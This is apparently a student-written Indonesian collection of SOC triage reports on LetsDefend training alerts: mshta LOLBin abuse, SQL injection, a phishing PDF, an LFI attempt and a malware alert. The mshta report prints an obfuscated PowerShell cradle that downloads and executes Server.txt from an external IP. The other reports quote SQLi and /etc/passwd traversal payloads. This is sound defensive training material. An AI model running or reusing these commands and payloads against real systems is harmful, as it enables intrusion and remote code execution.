SOC Triage Alert Reports
Table Of Content
SOC 164 : SUSPICIOUS MSHTA BEHAVIOR — Event ID 114
SOC 165 : POSSIBLE SQL INJECTION PAYLOAD DETECTED — EVENT ID 115
SOC140 : Phishing Mail Detected — Event ID 82
SOC 170 : Passwd Found in Requested URL — Possible LFI Attack — EVENT ID 120
SOC 164 : SUSPICIOUS MSHTA BEHAVIOR — Event ID 114
SOC Analyst (Muhammad Fuad Shidqi)
Background
Pada artikel kali ini kita akan melakukan Hands on pada studi kasus yang ada pada website Letsdefend yaitu kasus SOC 164: SUSPICIOUS MSHTA BEHAVIOR yang memberikan alert pada sebuah program mshta.exe. Tipe alert-nya yaitu LOLBIN atau living-off-the-land binaries yang memberitahu kita bahwa mshta.exe disalahgunakan untuk menjalankan aktifitas mencurigakan.
Sebenarnya mshta.exe adalah file exe yang sah pada sistem operasi Windows yang bisa ditemukan di C:\\Windows\System32\. File ini tidak berbahaya dan berhubungan dengan Microsoft HTML Application Host. Namun di lain sisi mstha.exe bisa digunakan untuk melakukan penyamaran oleh seorang threat actor.
Mshta.exe diperlukan untuk Microsoft HTML Application Host, sehingga sebaiknya proses ini tidak dihentikan. Jika proses dihentikan, maka kemungkinan kita akan mengalami beberapa masalah terkait Internet Explorer.
Detail Alert
Setelah melakukan Take Ownership, kita dapat melihat detail berikut yang kita gunakan untuk mulai menganalisa alert ini dan menentukan langkah apa yang perlu diambil selanjutnya.
Rule
SOC164 — Suspicious Mshta Behavior
Hostname
Roberto
IP Address
172.16.17.38
Executable
C:\Windows\System32\mshta.exe
Command Line Arguments
C:\Windows\System32\mshta.exe C:\Users\Roberto\Desktop\Ps1.hta
MD5 of Ps1.hta
6685c433705f558c5535789234db0e5a
Alert Trigger Reason
Low reputation hta file executed via mshta.exe
EDR Action
Allowed
Alert ini sepertinya dipicu karena mshta.exe mengeksekusi file Ps1.hta. Endpoint Detection and Response (EDR) mengizinkan aktivitas ini, hal ini dipicu karena file Ps1.hta memiliki low reputation (reputasi rendah).
Program low reputation adalah program yang dimana produk keamanan tidak bisa mengenali program tersebut apakah program dapat dipercaya atau tidak. Tentunya kita tidak ingin langsung memblokir file reputasi rendah ini karena banyak aplikasi vendor lama, atau program khusus yang dikembangkan oleh perusahaan yang memiliki reputasi rendah.
Karena kita tidak memblokir file ini, tetapi file ini harus dilakukan investigasi, hal ini disiapkan untuk analisis lebih lanjut karena file memicu alert.
Investigation
Berdasarkan informasi pada Detail Alert, kita siap untuk memulai investigasi dan menentukan apakah ada aktivitas jahat yang terjadi dan tindakan apa yang perlu diambil selanjutnya.
Berikut beberapa item yang harus kita perhatikan :
- mshta.exe untuk melihat apa tujuan program tersebut, dan bagaimana bisa digunakan.
- Ps1.hta, kita akan melakukan investigasi kepada file ini dan apa fungsinya.
- Command History
- Network Traffic
- Process History
mshta.exe
Pertama kita bisa melakukan investigasi pada file mshta.exe dan coba untuk mengetahui itu program apa dan bagaimana dia digunakan.
Karena kita mencurigakan file ini memiliki aktivitas yang mencurigakan, maka kita akan melakukan checking pada website Living Off The Land Binaries, Scripts and Libraries (LOLBAS). Website ini mengumpulkan dan menampilkan informasi berbagai macam file windows executables built in yang dapat digunakan untuk melakukan aktivitas jahat, seperti menjalankan program dan mendownload files.
Buka website LOLBAS https://lolbas-project.github.io/ kemudian cari file mshta,
Klik button “Execute” pada kolom functions, sintaks untuk mengeksekusi kode sama dengan Command Line Alert. Pada tahap ini kita dapat menduga bahwa kemungkinan seseorang atau sesuatu yang mencurigakan menggunakan mshta untuk menjalankan kode jahat.
- Ps1.hta
Karena kita sudah punya hash MD5 Ps1.hta, maka kita bisa melakukan investigasi di website VirusTotal guna melihat apakah ada orang yang sudah melakukan investigasi file tersebut sebelumnya.
Masukan hash 6685c433705f558c5535789234db0e5a ke VirusTotal kemudian tekan button search.
Hasilnya sebagai berikut.
Berdasarkan informasi diatas, dapat dikatakan bahwa file tersebut merupakan file yang mencurigakan dan perlu tindakan investigasi lebih lanjut.
Command History
Langkah kita selanjutnya adalah memeriksa command history pada sistem Roberto untuk melihat apakah ada file yang dieksekusi dan perintah lain yang mungkin dijalankan. Tindakan ini dapat memberikan informasi tambahan kepada kita mengenai apakah hal ini berbahaya dan berdampak buruk.
Kita bisa melakukan checking pada sistem milik Roberto pada Endpoint Security dan melihat Command History.
Bisa dilihat pada perintah mshta diikuti dengan perintah mencurigakan pada perintah powershell.exe.
Command Mencurigakan Pada PowerShell
Berikut adalah hasil salinan langsung dari Command History, hanya di format ulang pada Vs Code agar lebih mudah dibaca.
function H1($i) {
$r = ‘’ ;
for ($n = 0; $n -Lt $i.LengtH; $n += 2){
$r += [cHar][int](‘0x’ + $i.Substring($n,2))
}
return $r
};
$H2 = (new-object (‘{1}{0}{2}’ -f’WebCL’,’net.’,’ient’));
$H3 = H1 ‘446f776E’;
$H4 = H1 ‘6C6f’;
$H5 = H1 ‘616473747269’;
$H6 = H1 ‘6E67’;
$H7 = $H3+$H4+$H5+$H6;
$H8 = $H2.$H7(‘http://193[.]142[.]58[.]23/Server.txt');
iEX $H8
Note : Kode diatas berbahaya dan mengandung malware pada alamat IP diatas, Harap berhati-hati, dan jangan menjalankan kode ini.
Kode ini agak diubah agar tidak terlihat tujuan jahatnya. Perintah pada kode ini digunakan untuk menetapkan konten Server.txt ke variabel $H8, yang kemudian diteruskan langsung ke Invoke-Expression (iEX) yang mengeksekusi kode yang ditentukan di dalamnya. Kemungkinan besar Server.txt ini mengandung semacam malware lainnya.
Network Traffic
Sekarang setelah kita mengetahui bahwa kode ini mencoba mengunduh dan menjalankan beberapa kode tambahan, selanjutnya kita selidiki log Network Traffic untuk melihat apakah roberto terhubung ke server ini.
Cari log untuk IP berbahaya, sepertinya sistem ini menjangkau server web dan menerima satu tanggapan.
Buka detail dari dua log diatas, kita dapat melihat permintaan untuk Server.txt, tetapi mendapat respon 404. Untungnya kode berbahaya yang terkandung dalam Server.txt tidak dijalankan pada sistem.
Process History
Selanjutnya kita dapat melihat Process History pada sistem milik roberto untuk menentukan apakah ada proses berbahaya atau mencurigakan yang dijalankan. Buka lagi Endpoint Security lalu klik Process List pada sistem milik roberto.
Dalam history kita dapat melihat panggilan powershell.exe, dengan Proses Induk mshta.exe. Proses mshta.exe dipanggil oleh explorer.exe yang berarti perintah mshta ini dijalankan secara interaktif oleh pengguna sistem. Selain itu tidak ada lagi aktivitas lain yang mencurigakan.
Incident Response Playbook
Saat klik create case pada alert ini maka akan muncul Incident Playbook. Playbook ini adalah serangkaian pertanyaan yang dapat kita jawab untuk mengidentifikasi apakah kejadian ini true positive atau false positive.
Karena playbook ini bertipe LOLBin, maka kita memulai dengan gambaran singkat tentang apa itu LOLBin.
“LoLBin (living-off-the-land binaries) adalah biner yang disediakan oleh sistem operasi yang biasanya digunakan untuk tujuan yang sah tetapi juga dapat disalahgunakan oleh aktor jahat. Beberapa system binari default memiliki efek samping yang tidak terduga, yang memungkinkan penyerang menyembunyikan aktivitas mereka setelah eksploitasi.”
(definisi: talosintelligence.com)
Pertanyaan pertama adalah mengidentifikasi biner apa yang digunakan sebagai lolbin. Kita dapat memeriksanya dengan mengacu pada detail alert.
Detail Alert menunjukkan bahwa biner yang kami cari adalah mshta.exe.
Pertanyaan selanjutnya adalah apakah ini aktivitas yang mencurigakan. Konvensi penamaan file Ps1.hta (berhubungan dengan PowerShell), hash muncul sebagai aktivitas berbahaya di VirusTotal, koneksi ke IP luar juga membuat kita yakin bahwa ini memang peristiwa yang mencurigakan (suspicious activity).
Selanjutnya kita ditanya apa yang mencurigakan. Karena file mshta.exe digunakan untuk mengeksekusi file berbahaya,maka jawaban yang tepat adalah Execute.
Untuk pertanyaan tentang siapa yang melakukan tindakan ini, ketika kita meninjau Process History pada Endpoint Security, kita melihat proses dimulai oleh explorer.exe, jadi dapat dikatakan bahwa ini adalah eksekusi oleh User.
Pada tahap ini, jawaban yang kita berikan yaitu meminta kita mengisolasi dan menahan host untuk mencegah potensi infeksi lebih lanjut.
Silahkan buka Endpoint Security kemudian button di kolom REQUEST CONTAINMENT.
Kita sekarang dapat menambahkan artifacts yang kita temukan selama penyelidikan di kasus ini. Ini berguna kedepannya ketika kita menyelidiki kasus serupa lainnya.
Artifacts yang kita cantumkan adalah :
- Alamat URL Server.txt
- IP Address eksternal
- Hash MD5 file Ps1.hta
Kita dapat menulis catatan analisis untuk menjelaskan apa yang kita lakukan dan apa yang kita temukan.
“mshta.exe digunakan untuk mengeksekusi file ps1.hta berbahaya. File ini mencoba mengunduh server.txt dengan powershell yang berbahaya, tetapi respon yang diberikan 404 sehingga tidak ada kode lebih lanjut yang dieksekusi. Host dilakukan containment untuk mencegah infeksi lebih lanjut, dan disarankan untuk analisis dan penyelidikan lebih lanjut pada sistem roberto untuk menentukan dampak menjalankan file ps1.hta ini.”
Sebelum close alert masukan catatan, disini saya memasukan catatan yang sama dengan analyst note dan saya memilih true positive karena sistem sudah terjangkit malware.
Hasil investigasi dapat dilihat pada Investigation Channel seperti diatas.
Tools yang digunakan :
>>>Table of content
SOC 165 : POSSIBLE SQL INJECTION PAYLOAD DETECTED — EVENT ID 115
SOC Analyst (Aldi Rahmadi)
What is SQL Injection (SQLi)?
Serangan SQL injection adalah salah satu cyber crime yang jadi ancaman serius keamanan sebuah website. Bagaimana tidak, frekuensi kasus SQL injection berada di posisi ketiga dengan risiko serangan paling besar. Bayangkan, serangan SQL injection mencakup pencurian dan manipulasi database, termasuk email, password, data pribadi, bahkan hingga aset finansial Anda. Sangat berbahaya, bukan?
SQL injection merupakan sebuah langkah injeksi kode terhadap celah keamanan database sebuah aplikasi atau website. Umumnya, hacker menggunakan perintah atau query SQL dengan tools tertentu untuk mengakses database. Injeksi kode yang dilakukan membuat mereka dapat masuk tanpa proses otentikasi. Setelah berhasil, hacker bebas untuk menambahkan, menghapus, serta mengubah data-data pada website.
Incident Details
Kali ini saya melakukan penanganan pendeteksian di platform letsdefend.io, LetsDefend adalah platform pelatihan Blue Team yang membantu pengguna mendapatkan pengalaman dengan melatih keterampilan investigasi siber mereka di dalam lingkungan SOC (Security Operations Center) yang disimulasikan. Tujuannya adalah untuk membantu analis SOC saat ini dan masa depan dengan keterampilan mereka dalam menyelidiki insiden dan mengembangkan laporan manajemen. Saya mengambil SOC165 — Possible SQL Injection Payload Detected.
Detect
Langkah pertama dari playbook ini adalah meminta kita untuk mengapa peringatan itu dipicu. Untuk memahami peringatan, pertama-tama kita diminta untuk memeriksa rule name. Rule name nya adalah Possible SQL Injection Payload Detected. Langkah selanjutnya adalah meminta kita untuk menentukan traffic tempat terjadinya, yang tampaknya bersumber dari internet yang mengarah ke internal address berdasarkan source dan destination address.
Collect Data
Langkah selanjutnya pada playbook ini adalah meminta untuk mengumpulkan data. Kita harus menentukan kepemilikan IP address dan devices.
- 172.16.17.18 (WebServer1001)
- 167.99.169.17(Internet address)
Kemudian kita ditugaskan untuk menentukan apakah traffic berasal dari luar jaringan internal dari Internet. Ketika mencari IP address 167.99.169.17 pada tab Endpoint Security, tidak ditemukan host manapun. IP address 172.16.17.18 merupakan host internal, WebServer1001.
Kita dapat mengonfirmasi bahwa traffic berasal dari luar (Internet):
Kepemilikan alamat IP: Kami dapat mengonfirmasi bahwa itu adalah Alamat Statis. Dengan menggunakan abuseIPDB, database terpusat untuk alamat IP berbahaya, kami dapat menemukan bahwa sedang di hosting di web menggunakan ISP DigitalOcean di host ubuntu-20.04. Beberapa vendor keamanan menandai IP sebagai malicious, phishing, dan suspicious.
Lalu untuk pengecekan selanjutnya saya memakai platform VirusTotal, karena mengikuti suggestion dari playbook yang menyarankan untuk menggunakan AbuseIPDB, VirusTotal, dan Cisco Talos.
Dimulai dengan memasukkan Source IP address 167.99.169.17 pada VirusTotal. VirusTotal adalah tools online yang digunakan untuk menganalisis file, domain, IP, dan URL yang mencurigakan untuk mendeteksi malware dan pelanggaran lainnya.
Lalu untuk memastikan IP memang berbahaya, kita harus menggunakan alat analisis lain. Alternatif lain yang sangat berguna untuk VirusTotal adalah Cisco Talos IP & Domain Reputation Center, yang digunakan sebagai basis data jaringan deteksi ancaman real-time terbesar dari IP berbahaya. Saya memasukkan alamat sumber dan menemukan bahwa IP tersebut memiliki Reputasi Web yang tidak terpercaya dan dikategorikan sebagai Malicious Site.
Analyze
- Generate URL
Selanjutnya kita diminta untuk memeriksa HTTP Traffic untuk potensi web attack payloads. Saya memulai dengan mengecek Requested URL,
“https://172.16.17.18/search/?q=%22%20OR%201%20%3D%201%20--%20-”
dengan menggunakan URL Decoder/Encoder, kita mendapatkan query sebagai berikut:
“https://172.16.17.18/search/?q=" OR 1 = 1 — -”
yang bisa dikatakan dengan mutlak bahwa ini merupakan serangan SQL injection karena sifat query yang mengikuti metode common attack. Kita tahu bahwa dalam SQL apapun yang mengikuti “ — -” dianggap sebagai komentar. “/?q=” adalah variabel kosong dalam query URL, jadi yang diminta pada dasarnya adalah mencari host 172.16.17.18 atau 1 = 1. Kueri akan selalu benar sebagai hasil dari 1=1.
Check Traffic
Pada langkah selanjutnya playbook akan meminta kita untuk menentukan apakah traffic tersebut merupakan malicious. Setelah beberapa pengecekan yang saya lakukan pada langkah — langkah sebelumnya, kita dapat mengkonfirmasi bahwa itu “Malicious”.
Lalu playbook meminta kita untuk menentukan jenis serangan yang digunakan. Kita dapat mengatakan bahwa setelah menjalankan URL yang diminta melalui decoder generate, dengan jelas itu adalah serangan SQL Injection.
Setelah itu kita diminta untuk memeriksa apakah ini adalah tes yang direncanakan?
Setelah saya cek email dari server 172.16.17.18 (WebServer1001), tidak ditemukan bahwa adanya penetrasi yang direncanakan pada keduanya. Lalu tidak ada juga indikasi serangan dari simulation products juga, sehingga tidak direncanakan sebagai malicious traffic.
Containment
- Traffic Direction
Selanjutnya kita diminta untuk menentukan arah traffic berbahaya. Setelah kita melihat alur serangannya, dapat dikonfirmasi bahwa arahnya berasal dari Internet -> Company Network. Karena IP address 167.99.168.17 bukan merupakan alamat yang berada dalam jaringan intranet perusahaan, yang menyerang IP address 172.16.17.18 which is itu adalah server web internal perusahaan.
Check Attack
Setelah itu kita ditugaskan untuk memeriksa apakah serangan itu berhasil. Saya mulai dengan memeriksa Log Management dari saran playbook.
Saya melakukan pencarian log menggunakan 167.99.169.17 yang merupakan malicious address dan menemukan beberapa koneksi log yang dicoba pada address 172.16.17.18 yang dimana itu adalah web server internal perusahaan. Ketika kita melihat Raw Log untuk setiap instance, HTTP Response Size dan HTTP Response Status sama di masing-masing 948 dan 500 setiap log. Ini mengindikasi bahwa serangan SQL Injection tidak berhasil.
Jika kita melihat permintaan dengan HTTP Response Sizes yang sama-sama 948, kita melihat bahwa kode responnya adalah 500. Seperti yang diketahui, kode respons 500 berarti Internal Server Error, server mengalami galat/error dan tidak dapat memenuhi permintaan. Ini mengindikasikan bahwa serangan tidak berhasil. Begitu pun pada Command History di bagian Endpoint Security, tidak ada perintah atau aktivitas mencurigakan
Berarti kita dapat menyimpulkan bahwa serangan SQL injection tersebut tidak berhasil
Pada artifacts, hanya ada dua yang dapat saya tambahkan, yaitu malicious IP address 167.99.169.17 yang mencoba menyerang dengan SQL injection, dan IP addres web server perusahaan 172.16.17.18 sebagai penerima serangan namun tidak berhasil.
Tier 2 Escalation
Lalu kami dihadapkan dengan pertanyaan eskalasi tingkat 2 atau Tier 2 Escalation. Parameter harus dilakukannya eskalasi tingkat dua adalah dalam kasus ketika serangan berhasil. Pada kasus yang kita ambil, serangan dari internet tidak berhasil, sehingga dalam hal ini kita tidak membutuhkan eskalasi tingkat 2.
Analyst Note
Seperti yang sudah dijabarkan dari penanganan deteksi SQL injection diatas, dapat disimpulkan bahwa WebServer1001 mendapatkan serangan SQLi dari IP address 167.99.169.17 yang berasal dari luar jaringan perusahaan, namun serangan dapat dikatakan belum berhasil karena Raw Log menyatakan bahwa HTTP response status nya adalah 500. Karena serangan ini terdeteksi SQLi, maka kita pilih True Positive pada Close Alert.
Lalu ini adalah hasil dari alert Possible SQL Injection Payload Detected
>>>Table of content
SOC140 : Phishing Mail Detected — Event ID 82
SOC Analyst (Muhammad Fikri)
I. Pendahuluan
Saya melihat peringatan untuk SOC140- Surat Phishing Terdeteksi- Penjadwal Tugas Mencurigakan. Saya kemudian melanjutkan dan membuat kasus.
soc140 alert
Langkah pertama dari playbook adalah ‘Parse Email’ dan tentukan informasi tentang email yang masuk. Sebagian besar informasi ditemukan dalam peringatan itu sendiri:
- When was it sent? March 21, 2021, 12:26 PM
- What is the email’s SMTP address? 189.162.189.159
- What is the sender’s address? aaronluo@cmail.carleton.ca
- What is the recipient’s address? mark@letsdefend.io
- is the mail content suspicious? Yes
- Are there any attachments? Yes
Saya kemudian menavigasi ke Kotak Surat dan menemukan email dari alamat sumber “aaronluo@cmail.carleton.ca” dengan cap waktu 21 Maret 2021, 12:26 siang. Saya melihat bahwa email dikirim ke “mark@letsdefend.io” dengan file zip.
Langkah selanjutnya dalam buku pedoman adalah menanyakan apakah ada lampiran atau URL di email. Ada satu file zip, 72c812cf21909a48eb9cceb9e04b865d.zip.
Setelah menanyakan apakah ada lampiran, Saya kemudian ditugaskan untuk menganalisis lampiran di berbagai Sandbox pihak ketiga.
II. Analisa
Saya memulai analisis menggunakan VirusTotal yang merupakan alat online yang digunakan untuk “Menganalisis file, domain, IP, dan URL yang mencurigakan untuk mendeteksi malware dan pelanggaran lainnya (VirusTotal).” Setelah menjalankan lampiran melalui pemindai, hanya satu vendor keamanan yang menandai file sebagai berpotensi berbahaya dengan mengklasifikasikannya sebagai Trojan.PDF.Fraud.AD. Kuda trojan adalah malware yang muncul sebagai program yang sah saat melewati langkah-langkah keamanan dan merusak sistem. Salah satu aspek yang menantang dalam menggunakan VirusTotal dalam skenario ini adalah bahwa hanya satu vendor yang menganggapnya berpotensi mencurigakan. Agar tidak terlalu mengandalkan VirusTotal saja, kita harus mencari alat analisis malware lain.
Alternatif lain yang sangat berguna adalah menggunakan HybridAnalysis, yang merupakan alat analisis malware yang menggunakan teknologi CrowdStrike Falcon Sandbox untuk menganalisis potensi ancaman dan memberikan laporan. Saya memasukkan file zip ke alat analisis, dan menandainya sebagai berbahaya. Saya menemukan analisis awal membingungkan pada awalnya karena itu disebut kedua hasil dari AV Clean, tapi itu mungkin karena kedua pemindai berbasis tanda tangan, yang mencari ancaman mapan menggunakan pengidentifikasi unik. Saya kemudian menggeser lebih jauh ke bawah dan menemukan PDF di dalam file zip dan hasil pemindaian tersebut berbahaya.
Alat HybridAnalysis mengidentifikasi ‘Material.pdf’ sebagai virus trojan Trojan.PDF.Fraud yang mengkonfirmasi apa yang ditemukan VirusTotal.
Alasan saya lebih suka menggunakan HybridAnalysis daripada VirusTotal adalah karena ia menggabungkan Kerangka MITRE ATT&CK ke dalam analisisnya terhadap file yang mencurigakan dan menyediakan berbagai teknik yang digunakan untuk mendeteksi malware. Dalam contoh ini, ia mendeteksi eskalasi hak istimewa, penghindaran pertahanan, dan metode penemuan jaringan yang digunakan oleh trojan PDF.
Sekarang setelah Saya menentukan bahwa itu adalah bentuk kuda trojan dari malware, Saya akan menganalisis apa yang dilakukannya di lingkungan Sandbox. Saya memilih untuk menggunakan Any run, yang merupakan Sandbox online berbasis cloud untuk menganalisis malware di lingkungan yang terisolasi. Saya lebih suka menggunakan Any run karena menyediakan laporan terperinci lengkap dan potensi IoC (Indication of Compromise) dari malware.
Ketika Saya membuka ‘Material.PDF’ di lingkungan Sandbox, itu menciptakan sejumlah besar proses anak dari AcroRd32.exe, yang diperlukan untuk menjalankan adobe acrobat. Ini membuka beberapa executable RdrCEF.exe yang mencurigakan yang juga diperlukan dengan Adobe Acrobat.
Apa yang Saya temukan cukup mengkhawatirkan tentang sejumlah besar executable RdrCEF.exe karena mereka menulis ke sejumlah besar file DLL (Dynamic Link Library) dan menambahkan kode di dalamnya yang bukan dimaksudkan untuk dilakukan oleh executable.
Ketika Saya mengklik PDF itu sendiri, ia mencoba membuka beberapa koneksi yang beberapa di antaranya Saya temukan sebagai IoC potensial. Koneksi yang coba dibangun adalah:
96.16.143.41 (malicious)
20.25.53.147
69.39.225.3 (malicious)
23.35.228.137
96.16.145.230 (suspicious)
184.24.77.47 (suspicious)
23.48.23.54 (suspicious)
52.22.41.97
23.35.236.137 (suspicious)
Satu-satunya domain mencurigakan yang coba disambungkan adalah a.pomf.cat.
Langkah keempat dari buku pedoman meminta Saya untuk memeriksa apakah surat telah dikirim ke Pengguna, yang dapat Saya temukan dengan melihat peringatan. Tab ‘Tindakan Perangkat’ mengatakan tindakan itu diblokir, yang menunjukkan pengguna tidak membuka file berbahaya.
Setelah itu, Saya diminta untuk memasukkan artefak yang Saya temukan dari kasing. Saya memasukkan dua alamat IP berbahaya yang diketahui 69.39.225.3 dan 96.16.143.41. Kemudian masukkan hash MD5 dari file zip, alamat email yang mengirim file aaronluo@cmail.carelton.ca dan domain berbahaya a.pomf.cat sebagai alamat URL Type.
Setelah menutup peringatan, Saya mendapatkan poin penuh dari jawaban Playbook.
III. Kesimpulan
Saya dapat menyimpulkan bahwa PDF yang dilampirkan ke email berbahaya berdasarkan analisis Sandbox. Dalam analisis, PDF membuka beberapa proses yang tidak perlu dan menghabiskan sebagian besar penggunaan RAM & CPU daripada yang diperlukan dan mencoba membuka beberapa koneksi ke alamat IP, beberapa di antaranya berbahaya. Pengguna tidak membuka file PDF berbahaya, jadi tindakan yang benar telah diambil dan mesin Mark tidak berusaha berkomunikasi dengan alamat berbahaya.
IoC (Indicator of Compromise) adalah titik intrusi potensial pada sistem host yang dipandang sebagai bukti yang mungkin untuk menentukan apakah upaya penyusupan dilakukan pada sistem atau tidak.
>>>Table of content
SOC 170 : Password Found in Requested URL — Possible LFI Attack — EVENT ID 120
SOC Analyst (Naufal Falih Aziz)
Background
Pada artikel kali ini kita akan melakukan Hands on pada studi kasus yang ada pada website Letsdefend yaitu kasus SOC170 — Passwd Found in Requested URL — Possible LFI Attack.
Incident Details
Saya melakukan sebuah uji coba penanganan pendeteksian di platform Letsdefend, LetsDefend adalah platform pelatihan Blue Team yang membantu pengguna mendapatkan pengalaman dengan melatih keterampilan investigasi siber mereka di dalam lingkungan SOC (Security Operations Center) yang disimulasikan.Tujuannya adalah untuk membantu analis SOC saat ini dan masa depan dengan keterampilan mereka dalam menyelidiki insiden dan mengembangkan laporan manajemen. Saya mencoba untuk menganalisis SOC170 — Passwd Found in Requested URL — Possible LFI Attack.
Detect
Langkah pertama dari playbook ini adalah meminta kita untuk mengapa peringatan itu dipicu.
Collect Data
Langkah selanjutnya pada playbook ini adalah meminta untuk mengumpulkan data. Kita harus menentukan kepemilikan IP address dan devices.
- 106.55.45.162 (Source IP address)
- 172.16.17.13 (WebServer1006)
Selanjutnya kita ditugaskan untuk mencari tahu apakah traffic tersebut berasal dari luar jaringan internal dari Internet. Ketika kita melakukan pencarian IP address 106.55.45.162 pada Endpoint Security init tidak ditemukan host manapun. Kemudian kita pada IP Address 172.17.17.13 yang merupakan Destination penyerangannya (WebServer1006).
Kemudian disini kita dianjurkan untuk melakukan pengecekan dari Reputation IP Address nya, dari Playbook kita disarankan menggunakan AbuseIPDB, VirusTotal, dan Cisco Talos.
Kemudian memasukkan Source IP address 106.55.45.162 pada VirusTotal. VirusTotal adalah tools online yang digunakan untuk menganalisis file, domain, IP, dan URL yang mencurigakan untuk mendeteksi malware dan pelanggaran lainnya.
Untuk memastikan kembali apakah IP tersebut memang berbahaya, kita harus menggunakan alat analisis lain. Alternatif lain yang sangat berguna dan yang disarankan oleh Playbook selain VirusTotal adalah Cisco Talos IP & Domain Reputation Center, yang digunakan sebagai basis data jaringan deteksi ancaman real-time terbesar dari IP berbahaya. Saya memasukkan alamat sumber dan menemukan bahwa IP tersebut memiliki Reputasi Web yang tidak terpercaya dan dikategorikan sebagai Malicious Site.
Analyze
Langkah berikutnya Playbook akan meminta kita untuk menentukan apakah Traffic tersebut merupakan Malicious atau bukan. Disebut Malicious dikarenakan dalam hal ini Attacker menargetkan konten file passwd dengan penggunaan penyerangan penyertaan file lokal ini untuk mengumpulkan informasi penting tentang pengguna dan akun pengguna di sistem, yang kemudian akan dapat digunakan untuk melakukan serangan selanjutnya.
Kemudian Playbook meminta kita untuk menentukan apakah Tipe Jenis Serangan yang digunakan dalam percobaan kali ini, dengan jelas ini menggunakan Tipe LFI & RFI (Local File Inclusion & Remote File Inclusion).Kenapa masuk di Tipe LFI & RFI , dikarenakan bahwa serangan menargetkan pada domain https://172.16.17.13 yang memiliki kerentanan pada parameter /?file=../../../../etc/passwd.
Payload : ../../../../etc/passwd
Kemudian di Playbook menanyakan, apakah ini direncanakan atau tidak ?
Kemudian kita mengecek terlebih dahulu email dari server 172.16.17.13 dan 106.55.45.162.
Setelah di cek terlihat bahwa tidak ada indikasi penetrasi yang direncanakan pada keduanya, kemudian tidak ada juga sebuah indikasi serangan dari simulation products juga, sehingga tidak direncanakan sebagai malicious traffic.
Containment
- Traffic Direction
Selanjutnya disini kita ditanyakan oleh Playbook, Traffic berbahaya ini arah nya kemana ?. Setelah kita mengetahui kedua IP Address tersebut, kita bisa lihat bahwa tujuan Traffic tersebut adalah Internet -> Company Network (106.55.45.162 -> 172.16.17.13), dikarenakan IP Address 106.55.45.162 merupakan sebuah alamat yang bukan berasal dari server web suatu perusahaan, kemudian kalau IP Address 172.16.17.13 adalah suatu alamat yang berasal dari server web internal perusahaan.
- Check Attack
Selanjutnya pada Playbook ditugaskan untuk memeriksa apakah serangan tersebut berhasil atau tidak. Saran dari Playbook kita disuruh untuk melihat Log Management.
Selanjutnya setelah kita melakukan pencarian IP Addressnya di Log Management kemudian kita lihat Raw Log nya, kami menemukan Status Response HTTP 500 (Kesalahan Server Internal) dan kemudian pada HTTP Response Size nya 0, yang menandakan bahwa serangan tersebut tidak berhasil
Disini dapat kita simpulkan bahwa serangan ini Tidak Berhasil
Pada Artifacts ini, hanya satu yang kami tambahkan, yaitu malicious IP Address 106.55.45.162 yang mencoba menyerang dengan LFI & RFI tetapi tidak berhasil.
Tier 2 Escalation
Kemudian di Playbook kami dihadapkan dengan pertanyaan Do You Need Tier 2 Escalation ?. Apabila harus melakukan untuk membutuhkan eskalasi tingkat dua adalah Ketika sebuah kasus penyerangan tersebut berhasil. Tetapi pada kasus yang kita ambil, serangan dari internet tersebut tidak berhasil, sehingga dalam hal ini kita tidak membutuhkan eskalasi tingkat 2.
- Analyst Note
Dapat disimpulkan bahwa IP Address 106.55.45.162 mencoba menyerang WebServer1006 (172.16.17.13) untuk https://172.16.17.13/?file=../../../../etc/passwd, dikatakan tidak berhasil dikarenakan di dalam Raw Log nya menyatakan bahwa HTTP response status nya adalah 500 (Kesalahan Server Internal).Maka kita pilih True Positive pada Close Alert.
Kemudian ini adalah hasil dari alert Passwd Found in Requested URL — Possible LFI Attack
>>>Table of content
SOC 104 : Malware Detected
SOC Analyst (Muhammad Hafizh)
Detail alert
Setelah melakukan Take Ownership, kita dapat melihat detail berikut yang kita gunakan untuk mulai menganalisa alert ini dan menentukan langkah apa yang perlu diambil selanjutnya.
Incident Response Playbook
step pertama Saat kita mengklik tombol create case pada alert ini maka akan muncul Incident Playbook, lalu klik next.
step ke 2 langkah selanjutnya muncul opsi pertanyaan pada define threat indicator, pada opsi ini kita tidak dapat menentukan indikatornya karena kita perlu melanjutkan untuk mengunduh lampiran pada file hash yang telah diformat menjadi ukuran zip yang disediakan dengan peringatan setelah membuka risletting dengan format file zip, disini kami dapat menentukan ukuran file .exe bernama winrar 600, lalu disini saya memilih opsi other untuk threat indicatornya, dan klik next.
step ke tiga, disini saya melakukan percobaan deteksi malware dengan opsi pertanyaan check if the malware is quarantined, disini saya memilih quarantine lalu klik next.
step ke 4, disini terdapat muncul menu opsi pertanyaan pada analysis malware in 3rd party tools and find C2 address. disini kita dapat menggunakan produk layanan secara free yang terdiri dari anyrun, virustotal, URL House, URL Scan, dan Hybrid analysis. pada opsi analysis malware disini saya memilih opsi malicious.
step ke 5, disini Kita dapat menambahkan artifacts yang kita temukan selama penyelidikan di kasus malware ini. Ini berguna kedepannya ketika kita menyelidiki dalam kasus serupa lainnya.
disini saya memasukkan Artifacts yang dicantumkan adalah :
- IP Address eksternal
- Hash MD5 dari file zip
step ke 6, disini saya dapat menulis catatan analisis untuk menjelaskan apa yang kita lakukan dan apa yang kita temukan.
“Empty! You should explain why you closed alarm this way”.
step ke 7, Sebelum close alert masukan catatan, disini saya memasukan catatan yang sama dengan analyst note dan saya memasukkan true postive yang sama dengan analyst note yang saya buat.
Hasil investigasi saya disini memakai:
step terakhir, playbook sudah selesai dibuat
>>>Table of content
Artikel ini saya susun bersama teman-teman saya, Muhammad Fikri, Muhammad Hafizh, Muhammad Fuad Shidqi dan Naufal Falih Aziz. Dengan bimbingan Kakak Nadita CanSolo selaku mentor kami pada program MSIB Cyber Security Analyst di TSA Kominfo.
Terima kasih.
